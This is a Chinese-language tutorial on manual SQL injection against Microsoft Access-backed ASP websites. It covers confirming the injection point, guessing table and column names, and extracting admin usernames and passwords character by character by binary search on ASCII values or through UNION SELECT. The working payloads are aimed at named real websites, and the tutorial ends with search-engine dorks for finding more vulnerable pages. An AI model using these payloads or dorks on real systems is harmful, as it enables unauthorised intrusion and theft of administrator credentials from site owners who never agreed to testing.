ACCCESS注入的方法,几个常用语句的使用
ACCESS数据库的注入与MSSQL不同,要得到表名,字段,以及字段的内容不能用MSSQL"暴"的方法直接得到(什么是"暴"以后在戒
绍MSSQL注入时会介绍),ACCESS只能用猜解出表名和字段,然后再猜解出字段的长度,最后把字段的内容从第一位到第N位一个个猜解出
来,采用的猜解方法类似玩一个游戏猜大小,比如一个数字,猜是否大于100如果不是,刚猜是否大于1,如果为正确,那么再猜是否大于50,如
果正确,则再猜是否大于80,一直这样猜下去,这种猜解字段内容的方法,被称为"折半猜解法".
第一步,确定注入点:
用' 或者1=1 1=2检测
用' 如果报大概这样的错误:Microsoft JET Database Engine 错误 '80040e14'
就表示是ACCESS数据库,并且该网站存在注入漏洞
1=1 正确
1=2
根据 响应状态码判断 500 200
ADODB.Field 错误 '800a0bcd'
BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
参数:
id=3996
id=3996%20and%201=1
id=3996%20and%201=2
sql="select * from t1 where id='"+"3996 and 1=2"+"'";
sql语句: select * from t1 where id=3996 and 1=2
第二步,猜解表名
用 and exists (select 1 from[admin]) 检测是否存在ADMIN表,ADMIN这个表名可以替换成其它的表名进行猜解,如果存在该表
名返回结果为正常,如果不存在则返回为出错,
错页面
id=3996%20and%20%20exists%20(select%201%20from%20admin)
结果:
Microsoft JET Database Engine 错误 '80040e37'
Microsoft Jet 数据库引擎找不到输入表或查询 'admin'。 确定它是否存在,以及它的名称的拼写是否正确。
/inc/conn.asp,行 478
说明admin表不存在
如果访问正常 说明admin表是存在的
第三步,猜解某表名中存在的字段
and exists (select top 1[name] from [admin]) 前面[name]方括号中的NAME可以换成你要查询的字段名,后面ADMIN则是
要查询的表名,这一句的意思就是查询在ADMIN表中是否存在NAME字段,和上面的一样,如果存在返回页面为正常页,如果不存在,则是出
正常请求: ?id=3996%20and%20%20exists%20(select%20name%20from%20admin)
说明存在admin表存在 name字段
第四步.猜解字段的长段
and (select top 1 len(name) from Admin)>0 LEN参数提取返回第一个数据字段长度内的name是字段名,>0可以换成>1.>2直到猜中
字段的长度
第五步,折半法猜出--重为关键的一环
and (select top 1 asc(mid(name,N,1)) from Admin)>0 猜解第N位的ASCII码>0取值从负数到正数都有可能,当然常见的
密码都是数字加字母的组和,他们的ASCII值在0-128之间,将值替换为这之间的值,如果正确,则返回正常页面,如果不是责返回出错,
将N分别替换为1 2 3 4... 反复猜解即可得出字段每一个位数的值而得到密码
ACCESS数据库
用' 如果报大概这样的错误:Microsoft JET Database Engine 错误 '80040e14'
就表示是ACCESS数据库,并且该网站存在注入漏洞
存在注入 可以使用 ' or 1=1 或者等 'or 1=2
注入地址:
http://bioeng.swjtu.edu.cn/shownews.asp?type=新闻中心&stype=学院新闻&id=674
根据注入地址 进行SQL猜解
表
整理:
语句1 原来的内容查找不出来 id值为 671 union select * from admin
http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA
%D0%C2%CE%C5&id=671 union select * from admin
语句2 原来的内容查找可以查找出来 id = 671
http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA
%D0%C2%CE%C5&id=671 and exists (select * from admin)
推荐语句2 写法
猜解字段
http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA
%D0%C2%CE%C5&id=671 and exists (select name from admin)
http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA
%D0%C2%CE%C5&id=671 and exists (select pwd from admin)
http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA
%D0%C2%CE%C5&id=671 and exists (select a_name from admin)
http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA
%D0%C2%CE%C5&id=671 and exists (select a_pass from admin)
使用union一般是直接手动在网页中显示查到的管理员信息
http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA
%D0%C2%CE%C5&id=671%20union%20select%201,2,3,a_name,5,6,a_pass,8,9,10,11%20from%20admin
附加:
若想直接在网页中显示出密码:
那么首先知道表名 ,然后
http://www.v8gas.cn/show_News.asp?id=4360 order by 10 成功
http://www.v8gas.cn/show_News.asp?id=4360 order by 11 失败
那么 可以判断返回的数据是 10 个字段数量,
然后在 select top 1 1,2,3,4,5,6,7,8,9,10 from admin 显示出 2,3 那么 2,3位置就是可以显示出来的值
在把字段 写在 2,3处
select top 1 1,username,password,4,5,6,7,8,9,10 from admin
http://www.v8gas.cn/show_News.asp?id=4360 union select top 1 1,username,password,4,5,6,7,8,9,10 from admin
用户名和密码就出来了
搜索引擎关键字收集
inurl:schoolmate.asp
inrul:shownews.asp